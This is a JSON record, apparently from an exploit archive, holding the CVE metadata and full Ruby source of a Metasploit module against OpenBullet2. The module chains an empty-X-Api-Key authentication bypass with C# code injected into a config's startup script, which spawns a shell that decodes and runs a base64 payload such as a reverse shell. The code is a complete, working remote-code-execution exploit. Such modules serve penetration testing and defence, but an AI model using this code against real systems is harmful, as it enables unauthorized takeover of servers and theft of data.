{"exploit":{"id":"MSF-multi--http--openbullet2_unauth_rce_cve_2026_25856","name":"OpenBullet2 Unauthenticated RCE via Config Configuration Interface","description":"This Metasploit module exploits an Unauthenticated Remote Code Execution (RCE) vulnerability in OpenBullet2. Attackers can leverage the plain C# execution mode, which lacks reference filtering or API restrictions, to access the file system, spawn processes, and invoke arbitrary .NET APIs as the process user. The affected versions include releases from 0.2.5.","cves":["CVE-2026-25555","CVE-2026-25856"],"author":"Maksim Rogov","published":"2026-06-08","platform":"Linux,Unix,Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb","path":"modules/exploits/multi/http/openbullet2_unauth_rce_cve_2026_25856.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"openbullet2_unauth_rce_cve_2026_25856.rb","vulnerabilities":[{"id":"CVE-2026-25555","state":"PUBLISHED","title":"OpenBullet2 0.3.2 Authentication Bypass via X-Api-Key Header","titleSource":"CVE Program","description":"OpenBullet2 through version 0.3.2 contains an authentication bypass vulnerability in the API key authentication middleware that allows unauthenticated attackers to gain admin access by supplying an empty X-Api-Key header value. Attackers can exploit the middleware's comparison of the supplied header against an empty AdminApiKey default string to access the admin console and all API endpoints without valid credentials.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-25555","cvss":{"version":"4.0","baseScore":9.3,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-25555"},"updatedAt":"2026-07-14T15:53:41.845Z","retrievedAt":"2026-11-25T16:15:43.222Z","stale":false,"error":null},{"id":"CVE-2026-25856","state":"PUBLISHED","title":"OpenBullet2 0.3.2 Authenticated RCE via Job Configuration Interface","titleSource":"CVE Program","description":"OpenBullet2 through version 0.3.2 contains an authenticated remote code execution vulnerability that allows authenticated users to execute arbitrary C# code on the server host by creating or modifying job configurations. Attackers can leverage the plain C# execution mode, which lacks reference filtering or API restrictions, to access the file system, spawn processes, and invoke arbitrary .NET APIs as the process user.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-25856","cvss":{"version":"4.0","baseScore":8.7,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-25856"},"updatedAt":"2026-07-14T15:53:51.493Z","retrievedAt":"2026-11-25T16:15:43.220Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--openbullet2_unauth_rce_cve_2026_25856.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--openbullet2_unauth_rce_cve_2026_25856","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--openbullet2_unauth_rce_cve_2026_25856/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--openbullet2_unauth_rce_cve_2026_25856/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'OpenBullet2 Unauthenticated RCE via Config Configuration Interface',\n        'Description' => %q{\n          This Metasploit module exploits an Unauthenticated Remote Code Execution (RCE) vulnerability in OpenBullet2.\n\n          Attackers can leverage the plain C# execution mode, which lacks reference filtering or API restrictions, to access the file system, spawn processes, and invoke arbitrary .NET APIs as the process user.\n\n          The affected versions include releases from 0.2.5.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Maksim Rogov', # Vulnerability Discovery & Metasploit Module\n        ],\n        'References' => [\n          ['CVE', '2026-25555'],\n          ['CVE', '2026-25856'],\n          ['URL', 'https://hackernoon.com/one-empty-header-to-admin-how-an-auth-bypass-breaks-openbullet2']\n        ],\n        'Arch' => [ARCH_CMD],\n        'Targets' => [\n          [\n            'OpenBullet2 >= 0.2.5 / Unix Command',\n            {\n              'Platform' => ['unix', 'linux'],\n              'Type' => :unix\n              # Tested with cmd/unix/reverse_bash\n              # Tested with cmd/linux/http/x64/meterpreter/reverse_tcp\n            }\n          ],\n          [\n            'OpenBullet2 >= 0.2.5 / Windows Command',\n            {\n              'Platform' => ['windows'],\n              'Type' => :windows,\n              'Arch' => [ARCH_CMD]\n              # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp\n            }\n          ],\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2026-06-08',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => [REPEATABLE_SESSION]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'Path to the OpenBullet2 App', '/']),\n      ]\n    )\n  end\n\n  def check\n    res = send_request_cgi(\n      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'info', 'update'),\n      'method' => 'GET',\n      'headers' => { 'X-Api-Key' => '' }\n    )\n    return CheckCode::Unknown(\"#{peer} - Server did not respond with the expected HTTP 200\") unless res&.code == 200\n\n    json_body = res&.get_json_document\n    return CheckCode::Unknown(\"#{peer} - Unable to parse JSON response or response is not a valid object\") unless json_body.is_a?(Hash)\n    return CheckCode::Unknown(\"#{peer} - \\\"currentVersion\\\" key not found in response\") unless json_body.key?('currentVersion')\n\n    version = Rex::Version.new(json_body['currentVersion'])\n    if version < Rex::Version.new('0.2.5')\n      return CheckCode::Safe(\"Detected version #{version}, which is not vulnerable\")\n    end\n\n    @target_os = get_server_info\n    return CheckCode::Unknown(\"#{peer} - Could not retrieve server information\") unless @target_os\n\n    if target['Type'] == :unix && @target_os.to_s.downcase.include?('windows')\n      return CheckCode::Appears(\"Detected vulnerable version #{version} (#{@target_os}), but target is Unix/Linux while the server is running Windows\")\n    elsif target['Type'] == :windows && !@target_os.to_s.downcase.include?('windows')\n      return CheckCode::Appears(\"Detected vulnerable version #{version} (#{@target_os}), but target is Windows while the server is running Unix/Linux\")\n    end\n\n    CheckCode::Appears(\"Detected vulnerable version #{version} (#{@target_os})\")\n  end\n\n  def create_config\n    res = send_request_cgi(\n      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config'),\n      'method' => 'POST',\n      'headers' => { 'X-Api-Key' => '' }\n    )\n    fail_with(Failure::UnexpectedReply, \"#{peer} Server did not respond with the expected HTTP 200\") unless res&.code == 200\n\n    json_body = res&.get_json_document\n    fail_with(Failure::UnexpectedReply, 'Unable to parse the response or response is not a valid object') unless json_body.is_a?(Hash)\n    fail_with(Failure::UnexpectedReply, \"#{peer} - id key not found in response\") unless json_body.key?('id')\n\n    json_body['id']\n  end\n\n  def update_config(config_id)\n    prog, args, raw_cmd = case target['Type']\n                          when :unix\n                            # Quote the pipeline so ProcessStartInfo passes it as one argument to sh -c.\n                            ['/bin/sh', '-c', \"\\\"echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d | sh\\\"\"]\n                          when :windows\n                            ['cmd.exe', '/c', \"cmd.exe /c \\\"#{payload.encoded}\\\"\"]\n                          end\n\n    full_cmd_encoded = Rex::Text.encode_base64(raw_cmd)\n    cmd = <<~CCODE.gsub(/\\s*\\n\\s*/, ' ')\n      string c = System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(\"#{full_cmd_encoded}\"));\n      var psi = new System.Diagnostics.ProcessStartInfo(\"#{prog}\", \"#{args} \" + c) {\n        UseShellExecute = false, CreateNoWindow = true, RedirectStandardOutput = true, RedirectStandardError = true\n      };\n      System.Diagnostics.Process.Start(psi);\n    CCODE\n\n    res = send_request_cgi(\n      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config'),\n      'method' => 'PUT',\n      'headers' => { 'X-Api-Key' => '' },\n      'ctype' => 'application/json',\n      'data' => {\n        'id' => config_id,\n        'metadata' => {},\n        'settings' => {},\n        'startupLoliCodeScript' => cmd\n      }.to_json\n    )\n\n    unless res && res.code == 200\n      fail_with(Failure::UnexpectedReply, \"#{peer} Server did not respond with the expected HTTP 200\")\n    end\n  end\n\n  def create_job(config_id)\n    res = send_request_cgi(\n      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'multi-run'),\n      'method' => 'POST',\n      'headers' => { 'X-Api-Key' => '' },\n      'ctype' => 'application/json',\n      'data' => {\n        'startCondition' => {\n          '_polyTypeName' => 'relativeTimeStartCondition'\n        },\n        'configId' => config_id,\n        'proxyMode' => 'off',\n        'dataPool' => {\n          '_polyTypeName' => 'rangeDataPool',\n          'wordlistType' => 'Default',\n          'start' => 1,\n          'amount' => 1,\n          'step' => 1\n        }\n      }.to_json\n    )\n    fail_with(Failure::UnexpectedReply, \"#{peer} Server did not respond with the expected HTTP 200\") unless res&.code == 200\n\n    json_body = res&.get_json_document\n    fail_with(Failure::UnexpectedReply, 'Unable to parse the response or response is not a valid object') unless json_body.is_a?(Hash)\n    fail_with(Failure::UnexpectedReply, \"#{peer} - id key not found in response\") unless json_body.key?('id')\n\n    json_body['id']\n  end\n\n  def start_job(job_id)\n    res = send_request_cgi(\n      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'start'),\n      'method' => 'POST',\n      'headers' => { 'X-Api-Key' => '' },\n      'ctype' => 'application/json',\n      'data' => { 'jobId' => job_id, 'wait' => false }.to_json\n    )\n    fail_with(Failure::UnexpectedReply, \"#{peer} Server did not respond with the expected HTTP 200\") unless res&.code == 200\n  end\n\n  def delete_job(job_id)\n    res = send_request_cgi(\n      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job'),\n      'method' => 'DELETE',\n      'headers' => { 'X-Api-Key' => '' },\n      'ctype' => 'application/json',\n      'vars_get' => { id: job_id }\n    )\n\n    fail_with(Failure::UnexpectedReply, \"#{peer} Server did not respond with the expected HTTP 200\") unless res&.code == 200\n  end\n\n  def delete_config(config_id)\n    res = send_request_cgi(\n      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config'),\n      'method' => 'DELETE',\n      'headers' => { 'X-Api-Key' => '' },\n      'ctype' => 'application/json',\n      'vars_get' => { id: config_id }\n    )\n\n    fail_with(Failure::UnexpectedReply, \"#{peer} Server did not respond with the expected HTTP 200\") unless res&.code == 200\n  end\n\n  def get_server_info\n    res = send_request_cgi(\n      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'info', 'server'),\n      'method' => 'GET',\n      'headers' => { 'X-Api-Key' => '' },\n      'ctype' => 'application/json'\n    )\n    return nil unless res&.code == 200\n\n    json_body = res&.get_json_document\n    return nil unless json_body.is_a?(Hash) && json_body.key?('operatingSystem')\n\n    json_body['operatingSystem']\n  end\n\n  def cleanup\n    super\n\n    if @job_id\n      begin\n        delete_job(@job_id)\n      rescue StandardError => e\n        print_error(\"Failed to delete job: #{e.message}\")\n      end\n    end\n\n    if @config_id\n      begin\n        delete_config(@config_id)\n      rescue StandardError => e\n        print_error(\"Failed to delete config: #{e.message}\")\n      end\n    end\n  end\n\n  def validate_target_os!\n    target_os = @target_os || get_server_info\n    fail_with(Failure::UnexpectedReply, \"#{peer} - Could not retrieve server information\") unless target_os\n\n    if target['Type'] == :unix && target_os.to_s.downcase.include?('windows')\n      fail_with(Failure::NoTarget, 'Selected target is Unix/Linux, but the remote server is running Windows. Please change the target')\n    elsif target['Type'] == :windows && !target_os.to_s.downcase.include?('windows')\n      fail_with(Failure::NoTarget, 'Selected target is Windows, but the remote server is running Unix/Linux. Please change the target')\n    end\n  end\n\n  def exploit\n    validate_target_os!\n\n    @config_id = create_config\n    update_config(@config_id)\n    @job_id = create_job(@config_id)\n    start_job(@job_id)\n  end\n\nend\n","sha256":"b8570415e9cc7ee4838b32854259d8c2ee1df7dee84aa360d400efcc6b7cdcda","bytes":9820,"fetchedAt":"2026-11-25T16:31:00.881Z","encoding":"utf-8 (display only; download retains original bytes)"}